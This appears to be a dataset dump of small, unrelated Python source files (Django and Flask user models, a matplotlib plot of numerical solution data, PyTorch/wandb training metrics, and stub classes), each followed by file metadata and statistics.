cc221115b5dcd1a5d2236a8eee184b23140c551a
|
[
"MIT"
] | null | null | null |
clubCalendar/clubs/models.py
|
heet9201/clubCalendar
|
cc221115b5dcd1a5d2236a8eee184b23140c551a
|
[
"MIT"
] | null | null | null |
from django.db import models
# Create your models here.
class User(models.Model):
name = models.CharField(max_length=200)
password = models.CharField(max_length=200)
email = models.EmailField(max_length=100)
phoneNumber = models.IntegerField(null=True)
def __str__(self):
return self.name
class Club(models.Model):
name = models.CharField(max_length=200, null=False, blank=False)
email = models.EmailField(max_length=200)
password = models.CharField(max_length=200)
image = models.ImageField(upload_to = "static/img")
logged = models.BooleanField(default=False)
def __str__(self):
return self.name
| 30.136364
| 68
| 0.71644
| 86
| 663
| 5.348837
| 0.465116
| 0.117391
| 0.130435
| 0.208696
| 0.576087
| 0.465217
| 0.36087
| 0.36087
| 0.204348
| 0
| 0
| 0.032967
| 0.176471
| 663
| 22
| 69
| 30.136364
| 0.809524
| 0.036199
| 0
| 0.375
| 0
| 0
| 0.015674
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0.125
| 0.0625
| 0.125
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
7936767281d61a5d74a3ee0bcfdfde83438f83bb
| 303
|
py
|
Python
|
_/0349_10_Code/25.py
|
paullewallencom/javascript-978-1-8495-1034-9
|
7e539d042c644931a9ef2418f66d260a1c6892eb
|
[
"Apache-2.0"
] | null | null | null |
_/0349_10_Code/25.py
|
paullewallencom/javascript-978-1-8495-1034-9
|
7e539d042c644931a9ef2418f66d260a1c6892eb
|
[
"Apache-2.0"
] | null | null | null |
_/0349_10_Code/25.py
|
paullewallencom/javascript-978-1-8495-1034-9
|
7e539d042c644931a9ef2418f66d260a1c6892eb
|
[
"Apache-2.0"
] | null | null | null |
def format_timestamp(timestamp):
localtime = timestamp.timetuple()
result = unicode(int(time.strftime(u'%I', localtime)))
result += time.strftime(u':%M %p, %A %B ', localtime)
result += unicode(int(time.strftime(u'%d', localtime)))
result += time.strftime(u', %Y')
return result
| 37.875
| 59
| 0.650165
| 39
| 303
| 5.025641
| 0.487179
| 0.244898
| 0.265306
| 0.204082
| 0.581633
| 0.295918
| 0
| 0
| 0
| 0
| 0
| 0
| 0.168317
| 303
| 7
| 60
| 43.285714
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0.072607
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| false
| 0
| 0
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f71022c75b49c0c56102043edb4100618ba8208a
| 348
|
py
|
Python
|
models.py
|
ashelto6/unJumble
|
cf557668133186e7ea419f6f08ccadef4cad89a1
|
[
"MIT"
] | null | null | null |
models.py
|
ashelto6/unJumble
|
cf557668133186e7ea419f6f08ccadef4cad89a1
|
[
"MIT"
] | 7
|
2021-02-26T07:31:12.000Z
|
2021-04-25T03:21:35.000Z
|
models.py
|
ashelto6/unJumble
|
cf557668133186e7ea419f6f08ccadef4cad89a1
|
[
"MIT"
] | null | null | null |
from flask_login import UserMixin
from . import db
#run the creat_all() command to create the database
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
last_name = db.Column(db.String(100))
first_name = db.Column(db.String(100))
email = db.Column(db.String(100), unique=True)
password = db.Column(db.String(100))
| 31.636364
| 51
| 0.747126
| 58
| 348
| 4.396552
| 0.534483
| 0.156863
| 0.196078
| 0.25098
| 0.329412
| 0.180392
| 0
| 0
| 0
| 0
| 0
| 0.039216
| 0.12069
| 348
| 11
| 52
| 31.636364
| 0.794118
| 0.143678
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.125
| 0.25
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
f71ec7be2b5c89172f80a586dc9687e6c94dc760
| 14,797
|
py
|
Python
|
l3/plot.py
|
dominique120/12-steps-navier-stokes
|
3e195bf7f7895f83f5f2248ef48dc13b76e8b5de
|
[
"MIT"
] | null | null | null |
l3/plot.py
|
dominique120/12-steps-navier-stokes
|
3e195bf7f7895f83f5f2248ef48dc13b76e8b5de
|
[
"MIT"
] | null | null | null |
l3/plot.py
|
dominique120/12-steps-navier-stokes
|
3e195bf7f7895f83f5f2248ef48dc13b76e8b5de
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
matplotlib.rcParams["font.family"] = "Serif"
matplotlib.rcParams["font.size"] = 10
matplotlib.rcParams["axes.labelsize"] = 10
matplotlib.rcParams["xtick.labelsize"] = 10
matplotlib.rcParams["ytick.labelsize"] = 10
matplotlib.rcParams["legend.fontsize"] = 10
fig = plt.figure(facecolor="white")
ax = fig.gca()
ax.grid()
ax.set_axisbelow(True)
ax.set_xlabel("timestep")
ax.set_title("Plot of u over time")
x = np.array([0.0000000000000000E+00,0.6283185482025147E-01,0.1256637096405029E+00,0.1884955644607544E+00,0.2513274192810059E+00,0.3141592741012573E+00,0.3769911289215088E+00,0.4398229837417603E+00,0.5026548385620118E+00,0.5654866933822632E+00,0.6283185482025146E+00,0.6911504030227662E+00,0.7539822578430176E+00,0.8168141126632691E+00,0.8796459674835206E+00,0.9424778223037721E+00,0.1005309677124024E+01,0.1068141531944275E+01,0.1130973386764526E+01,0.1193805241584778E+01,0.1256637096405029E+01,0.1319468951225281E+01,0.1382300806045532E+01,0.1445132660865784E+01,0.1507964515686035E+01,0.1570796370506287E+01,0.1633628225326538E+01,0.1696460080146790E+01,0.1759291934967041E+01,0.1822123789787293E+01,0.1884955644607544E+01,0.1947787499427795E+01,0.2010619354248047E+01,0.2073451209068299E+01,0.2136283063888550E+01,0.2199114918708801E+01,0.2261946773529053E+01,0.2324778628349304E+01,0.2387610483169556E+01,0.2450442337989807E+01,0.2513274192810059E+01,0.2576106047630310E+01,0.2638937902450562E+01,0.2701769757270813E+01,0.2764601612091065E+01,0.2827433466911316E+01,0.2890265321731567E+01,0.2953097176551819E+01,0.3015929031372071E+01,0.3078760886192322E+01,0.3141592741012574E+01,0.3204424595832825E+01,0.3267256450653076E+01,0.3330088305473328E+01,0.3392920160293579E+01,0.3455752015113831E+01,0.3518583869934083E+01,0.3581415724754334E+01,0.3644247579574585E+01,0.3707079434394837E+01,0.3769911289215088E+01,0.3832743144035340E+01,0.3895574998855591E+01,0.3958406853675843E+01,0.4021238708496094E+01,0.4084070563316345E+01,0.4146902418136597E+01,0.4209734272956848E+01,0.4272566127777100E+01,0.4335397982597351E+01,0.4398229837417603E+01,0.4461061692237855E+01,0.4523893547058106E+01,0.4586725401878358E+01,0.4649557256698609E+01,0.4712389111518860E+01,0.4775220966339112E+01,0.4838052821159363E+01,0.4900884675979615E+01,0.4963716530799866E+01,0.5026548385620117E+01,0.5089380240440369E+01,0.5152212095260620E+01,0.5215043950080872E+01,0.5277875804901123E+01,0.5340707659721375E+01,0.5403539514541627E+01,0.5466371369361878E+01,0.5529203224182130E+01,0.5592035079002381E+01,0.5654866933822633E+01,0.5717698788642884E+01,0.5780530643463135E+01,0.5843362498283387E+01,0.5906194353103638E+01,0.5969026207923890E+01,0.6031858062744141E+01,0.6094689917564392E+01,0.6157521772384644E+01,0.6220353627204895E+01,0.6283185482025147E+01])
y = np.array([0.2727630972961541E+01,0.2771311269919911E+01,0.2814989285728558E+01,0.2858665849416731E+01,0.2902342189881139E+01,0.2946020124173951E+01,0.2989702300073073E+01,0.3033392493052979E+01,0.3077095949208672E+01,0.3120819754014078E+01,0.3164573192804217E+01,0.3208368054247055E+01,0.3252218815413303E+01,0.3296142639622408E+01,0.3340159119445302E+01,0.3384289709865549E+01,0.3428556821944811E+01,0.3472982584474947E+01,0.3517587326469731E+01,0.3562387880944926E+01,0.3607395852618360E+01,0.3652616021029425E+01,0.3698045059580436E+01,0.3743670736415854E+01,0.3789471724920397E+01,0.3835418093903271E+01,0.3881472477500543E+01,0.3927591851755142E+01,0.3973729778475908E+01,0.4019838926034867E+01,0.4065873647669411E+01,0.4111792394000463E+01,0.4157559757884302E+01,0.4203147993161763E+01,0.4248537908375252E+01,0.4293719104179188E+01,0.4338689590214909E+01,0.4383454875298046E+01,0.4428026667143412E+01,0.4472421340415166E+01,0.4516658333683488E+01,0.4560758619056785E+01,0.4604743357507668E+01,0.4648632814346878E+01,0.4692445569290600E+01,0.4736198019615245E+01,0.4779904146861352E+01,0.4823575499325555E+01,0.4867221334189969E+01,0.4910848863158982E+01,0.4954463551611633E+01,0.4998069430935068E+01,0.5041669394396616E+01,0.5085265456440628E+01,0.5128858961580264E+01,0.5172450729440230E+01,0.5216041112137861E+01,0.5259629908416969E+01,0.5303216001391483E+01,0.5346796407577470E+01,0.5390364016956128E+01,0.5433902378991060E+01,0.5477373796984951E+01,0.5520692266994955E+01,0.5563662148157763E+01,0.5605839543752792E+01,0.5646220063907935E+01,0.5682539434358074E+01,0.5709723746298654E+01,0.5716534126277256E+01,0.5678680622132141E+01,0.5546490436649654E+01,0.5230962954575717E+01,0.4621610920896421E+01,0.3723767827144663E+01,0.2832739161616575E+01,0.2256379481270987E+01,0.1991598349454642E+01,0.1903149542455375E+01,0.1893699549180197E+01,0.1916482260037323E+01,0.1951969308086713E+01,0.1992407559120753E+01,0.2034770635503815E+01,0.2077882429362218E+01,0.2121285847116006E+01,0.2164802982375364E+01,0.2208364483935747E+01,0.2251943284280958E+01,0.2295528801406756E+01,0.2339116851026652E+01,0.2382705607390911E+01,0.2426293674842139E+01,0.2469878109399315E+01,0.2513449360728478E+01,0.2556974307303974E+01,0.2600337207538654E+01,0.2643133334588122E+01,0.2683947826158554E+01,0.2717840319099818E+01,0.2727630972961541E+01])
ax.plot(x,y,"b-o",linewidth=1,markersize=3,label="value of u")
x = np.array([0.0000000000000000E+00,0.6283185482025147E-01,0.1256637096405029E+00,0.1884955644607544E+00,0.2513274192810059E+00,0.3141592741012573E+00,0.3769911289215088E+00,0.4398229837417603E+00,0.5026548385620118E+00,0.5654866933822632E+00,0.6283185482025146E+00,0.6911504030227662E+00,0.7539822578430176E+00,0.8168141126632691E+00,0.8796459674835206E+00,0.9424778223037721E+00,0.1005309677124024E+01,0.1068141531944275E+01,0.1130973386764526E+01,0.1193805241584778E+01,0.1256637096405029E+01,0.1319468951225281E+01,0.1382300806045532E+01,0.1445132660865784E+01,0.1507964515686035E+01,0.1570796370506287E+01,0.1633628225326538E+01,0.1696460080146790E+01,0.1759291934967041E+01,0.1822123789787293E+01,0.1884955644607544E+01,0.1947787499427795E+01,0.2010619354248047E+01,0.2073451209068299E+01,0.2136283063888550E+01,0.2199114918708801E+01,0.2261946773529053E+01,0.2324778628349304E+01,0.2387610483169556E+01,0.2450442337989807E+01,0.2513274192810059E+01,0.2576106047630310E+01,0.2638937902450562E+01,0.2701769757270813E+01,0.2764601612091065E+01,0.2827433466911316E+01,0.2890265321731567E+01,0.2953097176551819E+01,0.3015929031372071E+01,0.3078760886192322E+01,0.3141592741012574E+01,0.3204424595832825E+01,0.3267256450653076E+01,0.3330088305473328E+01,0.3392920160293579E+01,0.3455752015113831E+01,0.3518583869934083E+01,0.3581415724754334E+01,0.3644247579574585E+01,0.3707079434394837E+01,0.3769911289215088E+01,0.3832743144035340E+01,0.3895574998855591E+01,0.3958406853675843E+01,0.4021238708496094E+01,0.4084070563316345E+01,0.4146902418136597E+01,0.4209734272956848E+01,0.4272566127777100E+01,0.4335397982597351E+01,0.4398229837417603E+01,0.4461061692237855E+01,0.4523893547058106E+01,0.4586725401878358E+01,0.4649557256698609E+01,0.4712389111518860E+01,0.4775220966339112E+01,0.4838052821159363E+01,0.4900884675979615E+01,0.4963716530799866E+01,0.5026548385620117E+01,0.5089380240440369E+01,0.5152212095260620E+01,0.5215043950080872E+01,0.5277875804901123E+01,0.5340707659721375E+01,0.5403539514541627E+01,0.5466371369361878E+01,0.5529203224182130E+01,0.5592035079002381E+01,0.5654866933822633E+01,0.5717698788642884E+01,0.5780530643463135E+01,0.5843362498283387E+01,0.5906194353103638E+01,0.5969026207923890E+01,0.6031858062744141E+01,0.6094689917564392E+01,0.6157521772384644E+01,0.6220353627204895E+01,0.6283185482025147E+01])
y = np.array([0.2736023075220947E+01,0.2779837164545836E+01,0.2823649045509257E+01,0.2867459600164973E+01,0.2911270141699394E+01,0.2955082615916199E+01,0.2998899859719867E+01,0.3042725915794919E+01,0.3086566393194455E+01,0.3130428850827616E+01,0.3174323165831663E+01,0.3218261833478449E+01,0.3262260132502555E+01,0.3306336083104996E+01,0.3350510127978347E+01,0.3394804482298916E+01,0.3439242127774091E+01,0.3483845467038330E+01,0.3528634703635678E+01,0.3573626062661065E+01,0.3618830009499543E+01,0.3664249650698246E+01,0.3709879505336173E+01,0.3755704814144340E+01,0.3801701508065813E+01,0.3847836893073130E+01,0.3894071032297831E+01,0.3940358730093159E+01,0.3986651955855555E+01,0.4032902497084348E+01,0.4079064607364045E+01,0.4125097418387960E+01,0.4170966914845689E+01,0.4216647322613483E+01,0.4262121827104219E+01,0.4307382610971990E+01,0.4352430269224261E+01,0.4397272716621099E+01,0.4441923740614247E+01,0.4486401369648815E+01,0.4530726221531711E+01,0.4574919973083936E+01,0.4619004056115172E+01,0.4662998642689007E+01,0.4706921941299771E+01,0.4750789790286371E+01,0.4794615508938744E+01,0.4838409951549534E+01,0.4882181704496955E+01,0.4925937369356523E+01,0.4969681883387789E+01,0.5013418839774710E+01,0.5057150781228563E+01,0.5100879449862473E+01,0.5144605981558732E+01,0.5188331031510512E+01,0.5232054803586364E+01,0.5275776916902560E+01,0.5319495949105908E+01,0.5363208279897092E+01,0.5406905366405161E+01,0.5450567464917623E+01,0.5494149280945163E+01,0.5537547298853238E+01,0.5580525607569766E+01,0.5622547965846030E+01,0.5662399018478118E+01,0.5697335399227216E+01,0.5721207407206272E+01,0.5720417383492038E+01,0.5665776539520547E+01,0.5498721631018602E+01,0.5119674798334109E+01,0.4425781384204654E+01,0.3486434650868969E+01,0.2650763109373032E+01,0.2160209517510828E+01,0.1951643566665702E+01,0.1890046900079447E+01,0.1891964276681970E+01,0.1919388886466590E+01,0.1956790527577951E+01,0.1998063161314609E+01,0.2040835692245308E+01,0.2084189902896408E+01,0.2127769988406669E+01,0.2171437866684961E+01,0.2215139874588584E+01,0.2258855136134518E+01,0.2302575516435228E+01,0.2346297799758990E+01,0.2390020545982250E+01,0.2433742519833124E+01,0.2477460863766740E+01,0.2521166124486849E+01,0.2564825375231745E+01,0.2608323275028774E+01,0.2651255604219204E+01,0.2692206176828820E+01,0.2726219167417408E+01,0.2736023075220947E+01])
ax.plot(x,y,"b-o",linewidth=1,markersize=3,label="value of un")
x = np.array([0.0000000000000000E+00,0.6283185482025147E-01,0.1256637096405029E+00,0.1884955644607544E+00,0.2513274192810059E+00,0.3141592741012573E+00,0.3769911289215088E+00,0.4398229837417603E+00,0.5026548385620118E+00,0.5654866933822632E+00,0.6283185482025146E+00,0.6911504030227662E+00,0.7539822578430176E+00,0.8168141126632691E+00,0.8796459674835206E+00,0.9424778223037721E+00,0.1005309677124024E+01,0.1068141531944275E+01,0.1130973386764526E+01,0.1193805241584778E+01,0.1256637096405029E+01,0.1319468951225281E+01,0.1382300806045532E+01,0.1445132660865784E+01,0.1507964515686035E+01,0.1570796370506287E+01,0.1633628225326538E+01,0.1696460080146790E+01,0.1759291934967041E+01,0.1822123789787293E+01,0.1884955644607544E+01,0.1947787499427795E+01,0.2010619354248047E+01,0.2073451209068299E+01,0.2136283063888550E+01,0.2199114918708801E+01,0.2261946773529053E+01,0.2324778628349304E+01,0.2387610483169556E+01,0.2450442337989807E+01,0.2513274192810059E+01,0.2576106047630310E+01,0.2638937902450562E+01,0.2701769757270813E+01,0.2764601612091065E+01,0.2827433466911316E+01,0.2890265321731567E+01,0.2953097176551819E+01,0.3015929031372071E+01,0.3078760886192322E+01,0.3141592741012574E+01,0.3204424595832825E+01,0.3267256450653076E+01,0.3330088305473328E+01,0.3392920160293579E+01,0.3455752015113831E+01,0.3518583869934083E+01,0.3581415724754334E+01,0.3644247579574585E+01,0.3707079434394837E+01,0.3769911289215088E+01,0.3832743144035340E+01,0.3895574998855591E+01,0.3958406853675843E+01,0.4021238708496094E+01,0.4084070563316345E+01,0.4146902418136597E+01,0.4209734272956848E+01,0.4272566127777100E+01,0.4335397982597351E+01,0.4398229837417603E+01,0.4461061692237855E+01,0.4523893547058106E+01,0.4586725401878358E+01,0.4649557256698609E+01,0.4712389111518860E+01,0.4775220966339112E+01,0.4838052821159363E+01,0.4900884675979615E+01,0.4963716530799866E+01,0.5026548385620117E+01,0.5089380240440369E+01,0.5152212095260620E+01,0.5215043950080872E+01,0.5277875804901123E+01,0.5340707659721375E+01,0.5403539514541627E+01,0.5466371369361878E+01,0.5529203224182130E+01,0.5592035079002381E+01,0.5654866933822633E+01,0.5717698788642884E+01,0.5780530643463135E+01,0.5843362498283387E+01,0.5906194353103638E+01,0.5969026207923890E+01,0.6031858062744141E+01,0.6094689917564392E+01,0.6157521772384644E+01,0.6220353627204895E+01,0.6283185482025147E+01])
y = np.array([0.2778119282693222E+01,0.2821757879554102E+01,0.2865396476414983E+01,0.2909035073275863E+01,0.2952673670136744E+01,0.2996312266997624E+01,0.3039950863858505E+01,0.3083589460719385E+01,0.3127228057580266E+01,0.3170866654441146E+01,0.3214505251302026E+01,0.3258143848162907E+01,0.3301782445023787E+01,0.3345421041884667E+01,0.3389059638745548E+01,0.3432698235606428E+01,0.3476336832467309E+01,0.3519975429328189E+01,0.3563614026189069E+01,0.3607252623049950E+01,0.3650891219910831E+01,0.3694529816771711E+01,0.3738168413632591E+01,0.3781807010493472E+01,0.3825445607354352E+01,0.3869084204215233E+01,0.3912722801076113E+01,0.3956361397936993E+01,0.3999999994797874E+01,0.4043638591658754E+01,0.4087277188519635E+01,0.4130915785380515E+01,0.4174554382241396E+01,0.4218192979102276E+01,0.4261831575963156E+01,0.4305470172824037E+01,0.4349108769684917E+01,0.4392747366545797E+01,0.4436385963406678E+01,0.4480024560267559E+01,0.4523663157128439E+01,0.4567301753989319E+01,0.4610940350850200E+01,0.4654578947711080E+01,0.4698217544571961E+01,0.4741856141432841E+01,0.4785494738293721E+01,0.4829133335154602E+01,0.4872771932015482E+01,0.4916410528876363E+01,0.4960049125737243E+01,0.5003687722598123E+01,0.5047326319459004E+01,0.5090964916319884E+01,0.5134603513180765E+01,0.5178242110041645E+01,0.5221880706902526E+01,0.5265519303763406E+01,0.5309157900624286E+01,0.5352796497485167E+01,0.5396435094346045E+01,0.5440073691206913E+01,0.5483712288067701E+01,0.5527350884927927E+01,0.5570989481784174E+01,0.5614628078612207E+01,0.5658266675240245E+01,0.5701905270450581E+01,0.5745543855611327E+01,0.5789182369533984E+01,0.5832820378474495E+01,0.5876454807775165E+01,0.5920063862467133E+01,0.5963493056546985E+01,0.6005647845264028E+01,0.6038797098376929E+01,0.6009502348067070E+01,0.5598786339877734E+01,0.3999997337339063E+01,0.2401211415134112E+01,0.1990497346934744E+01,0.1961202951946962E+01,0.1994352257161830E+01,0.2036507053269433E+01,0.2079936248392683E+01,0.2123545303231861E+01,0.2167179732553298E+01,0.2210817741496738E+01,0.2254456255419809E+01,0.2298094840580612E+01,0.2341733435790958E+01,0.2385372032418996E+01,0.2429010629247029E+01,0.2472649226103276E+01,0.2516287822963503E+01,0.2559926419824292E+01,0.2603565016685159E+01,0.2647203613546037E+01,0.2690842210406918E+01,0.2734480807267798E+01,0.2778119404128678E+01])
ax.plot(x,y,"b-o",linewidth=1,markersize=3,label="value of u_analytical")
ax.legend(loc="best")
plt.savefig("plot.png", dpi=320)
| 369.925
| 2,338
| 0.859904
| 1,960
| 14,797
| 6.489796
| 0.234184
| 0.130896
| 0.003774
| 0.00684
| 0.491195
| 0.491195
| 0.491195
| 0.491195
| 0.491195
| 0.491195
| 0
| 0.783971
| 0.005812
| 14,797
| 39
| 2,339
| 379.410256
| 0.080688
| 0.001352
| 0
| 0.115385
| 0
| 0
| 0.012115
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.115385
| 0
| 0.115385
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f73095a96bda44dd33e649a8f9b2f81b0f8a2d5e
| 108
|
py
|
Python
|
modules/2.79/bpy/types/NodeSocketInterfaceIntUnsigned.py
|
cmbasnett/fake-bpy-module
|
acb8b0f102751a9563e5b5e5c7cd69a4e8aa2a55
|
[
"MIT"
] | null | null | null |
modules/2.79/bpy/types/NodeSocketInterfaceIntUnsigned.py
|
cmbasnett/fake-bpy-module
|
acb8b0f102751a9563e5b5e5c7cd69a4e8aa2a55
|
[
"MIT"
] | null | null | null |
modules/2.79/bpy/types/NodeSocketInterfaceIntUnsigned.py
|
cmbasnett/fake-bpy-module
|
acb8b0f102751a9563e5b5e5c7cd69a4e8aa2a55
|
[
"MIT"
] | null | null | null |
class NodeSocketInterfaceIntUnsigned:
default_value = None
max_value = None
min_value = None
| 13.5
| 37
| 0.722222
| 11
| 108
| 6.818182
| 0.636364
| 0.36
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.240741
| 108
| 7
| 38
| 15.428571
| 0.914634
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
f73694082f6555a6ed7e3da03bdda34c33f127d4
| 210
|
py
|
Python
|
tests/classes/simple_score.py
|
WiosoftCrafts/jsonclasses-pymongo
|
c76fdfc072705484b47b09e23c5498aea757dad7
|
[
"MIT"
] | 2
|
2021-11-02T02:54:01.000Z
|
2021-12-02T10:38:18.000Z
|
tests/classes/simple_score.py
|
WiosoftCrafts/jsonclasses-pymongo
|
c76fdfc072705484b47b09e23c5498aea757dad7
|
[
"MIT"
] | 1
|
2021-12-15T13:50:48.000Z
|
2021-12-15T13:50:48.000Z
|
tests/classes/simple_score.py
|
zhichao-github/jsonclasses-pymongo
|
eaf08e4342a08f484bf99d06a3bceae447925189
|
[
"MIT"
] | 5
|
2021-07-22T06:30:05.000Z
|
2021-12-09T02:02:30.000Z
|
from __future__ import annotations
from jsonclasses import jsonclass, types
from jsonclasses_pymongo import pymongo
@pymongo
@jsonclass(class_graph='simple')
class SimpleScore:
name: str
score: float
| 19.090909
| 40
| 0.8
| 25
| 210
| 6.48
| 0.64
| 0.185185
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147619
| 210
| 10
| 41
| 21
| 0.905028
| 0
| 0
| 0
| 0
| 0
| 0.028571
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.375
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f7457ed7b6ff29bd798494ae4d888deb1cb69089
| 2,602
|
py
|
Python
|
common/metrics/basic_metrics.py
|
Ayushk4/tsat
|
07f9535157e45c4b27dae7d73d199fef7fb9d37a
|
[
"MIT"
] | null | null | null |
common/metrics/basic_metrics.py
|
Ayushk4/tsat
|
07f9535157e45c4b27dae7d73d199fef7fb9d37a
|
[
"MIT"
] | null | null | null |
common/metrics/basic_metrics.py
|
Ayushk4/tsat
|
07f9535157e45c4b27dae7d73d199fef7fb9d37a
|
[
"MIT"
] | null | null | null |
#----------------------------------------
#--------- Torch Related Imports --------
#----------------------------------------
import torch
import torch.distributed as distributed
#----------------------------------------
#--------- Import Wandb Here ------------
#----------------------------------------
import wandb
class TrainAccuracyMetric():
def __init__(self, initial_value, allreduce=False, **kwargs):
self.current_value = initial_value
self.iterations = 1
self.allreduce = allreduce
def update(self, new_value):
self.current_value = (self.current_value - (self.current_value-new_value)/(self.iterations + 1))
# If all reduce, get the number of GPUs
if self.allreduce:
gpus = torch.tensor(1.0).cuda()
# convert to tensor
cv = torch.tensor(self.current_value).cuda()
distributed.all_reduce(cv, op=distributed.ReduceOp.SUM)
distributed.all_reduce(gpus, op=distributed.ReduceOp.SUM)
self.current_value = cv.item()/gpus.item()
self.iterations += 1
def wandb_log(self, metric_name, step):
wandb.log({metric_name: self.current_value}, step=step)
class TrainLossMetric():
def __init__(self, initial_value, **kwargs):
self.current_value = initial_value
def update(self, new_value):
self.current_value = new_value
def wandb_log(self, metric_name, step):
wandb.log({metric_name: self.current_value}, step=step)
class ValAccuracyMetric():
def __init__(self, initial_value, allreduce=False, **kwargs):
self.current_value = initial_value
self.best_value = initial_value
self.updated_best_val = True
self.allreduce = allreduce
def update(self, new_value):
self.current_value = new_value
# If all reduce, get the number of GPUs
if self.allreduce:
gpus = torch.tensor(1.0).cuda()
# convert to tensor
cv = torch.tensor(self.current_value).cuda()
distributed.all_reduce(cv, op=distributed.ReduceOp.SUM)
distributed.all_reduce(gpus, op=distributed.ReduceOp.SUM)
self.current_value = cv.item()/gpus.item()
if self.current_value > self.best_value:
self.best_value = self.current_value
self.updated_best_val = True
else:
self.updated_best_val = False
def wandb_log(self, metric_name, step):
wandb.log({f'current_{metric_name}': self.current_value, f'best_{metric_name}': self.best_value}, step=step)
| 28.593407
| 116
| 0.599154
| 300
| 2,602
| 4.97
| 0.176667
| 0.125419
| 0.182428
| 0.084507
| 0.806841
| 0.745808
| 0.681422
| 0.65996
| 0.65996
| 0.635144
| 0
| 0.003498
| 0.230976
| 2,602
| 90
| 117
| 28.911111
| 0.741629
| 0.135281
| 0
| 0.659574
| 0
| 0
| 0.017411
| 0.009375
| 0
| 0
| 0
| 0
| 0
| 1
| 0.191489
| false
| 0
| 0.06383
| 0
| 0.319149
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f751c1a7b8557d111ece974fe0337ad5501315ca
| 34
|
py
|
Python
|
test/__init__.py
|
JugalBoro/trip-based-routing-
|
66fd2095d6c072d16fe8d5a7ef0912ee72b22c08
|
[
"WTFPL"
] | 43
|
2016-10-10T18:31:35.000Z
|
2022-03-14T06:25:28.000Z
|
test/__init__.py
|
JugalBoro/trip-based-routing-
|
66fd2095d6c072d16fe8d5a7ef0912ee72b22c08
|
[
"WTFPL"
] | null | null | null |
test/__init__.py
|
JugalBoro/trip-based-routing-
|
66fd2095d6c072d16fe8d5a7ef0912ee72b22c08
|
[
"WTFPL"
] | 8
|
2017-09-27T10:55:27.000Z
|
2020-08-09T04:14:00.000Z
|
from . import _common
c = _common
| 11.333333
| 21
| 0.735294
| 5
| 34
| 4.6
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.205882
| 34
| 2
| 22
| 17
| 0.851852
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f75fab9af5993267bfec3f91775a8d1062835c4f
| 307
|
py
|
Python
|
src/moz_books/exception/__init__.py
|
yukkun007/mmbooks
|
4a05951ee30e33295b1b4c0b578f02ad6a4a20a5
|
[
"MIT"
] | null | null | null |
src/moz_books/exception/__init__.py
|
yukkun007/mmbooks
|
4a05951ee30e33295b1b4c0b578f02ad6a4a20a5
|
[
"MIT"
] | 41
|
2021-10-08T05:55:21.000Z
|
2022-03-28T23:14:22.000Z
|
src/moz_books/exception/__init__.py
|
mozkzki/moz-books
|
